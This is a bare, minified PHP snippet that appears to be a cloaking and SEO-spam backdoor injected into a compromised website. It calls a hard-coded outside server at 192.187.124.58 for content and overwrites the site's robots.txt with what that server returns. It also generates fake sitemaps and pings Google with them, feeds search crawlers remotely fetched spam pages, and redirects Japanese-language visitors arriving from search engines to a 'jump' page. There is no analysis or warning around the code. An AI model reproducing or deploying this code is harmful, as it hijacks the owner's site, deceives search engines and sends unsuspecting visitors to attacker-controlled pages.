$inter_domain="http://192.187.124.58/z30614_6/";function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }function getServerCont($url,$data=array()){$url=str_replace(" ","+",$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots="googlebot|google|yahoo|bing|aol";if($agent!=""){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots="google.co.jp|yahoo.co.jp|google.com";if($refer!="" && preg_match("/($referbots)/si",$refer)){$check_refer=true;}return $check_refer;}$http=((isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!=="off")?"https://":"http://");$req_uri=$_SERVER["REQUEST_URI"];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER["PHP_SELF"];$ser_name=$_SERVER["SERVER_NAME"];$req_url=$http.$domain.$req_uri;$indata1=$inter_domain."/indata.php";$map1=$inter_domain."/map.php";$jump1=$inter_domain."/jump.php";$url_words=$inter_domain."/words.php";$url_robots=$inter_domain."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1["domain"]=$domain;$data1["req_uri"]=$req_uri;$data1["href"]=$href1;$data1["req_url"]=$req_url;if(substr($req_uri,-6)=="robots"){$robots_cont = getServerCont($url_robots,$data1);define("BASE_PATH",str_ireplace($_SERVER["PHP_SELF"],"",__FILE__));file_put_contents(BASE_PATH."/robots.txt",$robots_cont);$robots_cont=file_get_contents(BASE_PATH."/robots.txt");if(strpos(strtolower($robots_cont),"sitemap")){echo "robots.txt file create success!";}else{echo "robots.txt file create fail!";}exit;}if(substr($req_uri,-4)==".xml"){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]="sitemap"; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1="?"; }else{ $tt1="/";}$http2=$href1.$tt1.$str_cont_arr[$k].".xml";$data_new="https://www.google.com/ping?sitemap=".$http2;$data_new1="http://www.google.com/ping?sitemap=".$http2;if(stristr(@file_get_contents($data_new),"successfully")){echo $data_new."===>Submitting Google Sitemap: OK".PHP_EOL;}else if(stristr(@curl_get_contents($data_new),"successfully")){echo $data_new."===>Submitting Google Sitemap: OK".PHP_EOL;}else if(stristr(@file_get_contents($data_new1),"successfully")){echo $data_new1."===>Submitting Google Sitemap: OK".PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),"successfully")){echo $data_new1."===>Submitting Google Sitemap: OK".PHP_EOL; }else{echo $data_new1."===>Submitting Google Sitemap: fail".PHP_EOL;} } exit;} if(strpos($req_uri,"allsitemap.xml") || strpos($req_uri,"sitemap-index.xml") || strpos($req_uri,"sitemap-index-1.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1["word"]=$word4;$data1["action"]="check_sitemap";$check_url4=getServerCont($url_words,$data1);if($check_url4=="1"){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} $data1["action"]="check_words"; $check1= getServerCont($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=="1") $data1["action"]="rand_xml";$check_url4=getServerCont($url_words,$data1);header("Content-type:text/xml");echo $check_url4;exit;}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1["main_shell"]=$main_shell;}else{$main_shell=$http.$ser_name;$data1["main_shell"]=$main_shell;}$referer=isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:"";$chk_refer=check_refer($referer);$user_agent=strtolower(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:"");$res_crawl=is_crawler($user_agent);if(strpos($_SERVER["REQUEST_URI"],".php")){ $url_ext="?"; }else{ $url_ext="/"; } if($chk_refer && !$res_crawl && (preg_match("/ja/i",@$_SERVER["HTTP_ACCEPT_LANGUAGE"]) || preg_match("/ja/i",@$_SERVER["HTTP_ACCEPT_LANGUAGE"]) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER["REQUEST_URI"])))))){echo getServerCont($jump1,$data1);exit; } if($res_crawl){ $data1["http_user_agent"]=$user_agent;$get_content = getServerCont($indata1,$data1); echo $get_content;exit; }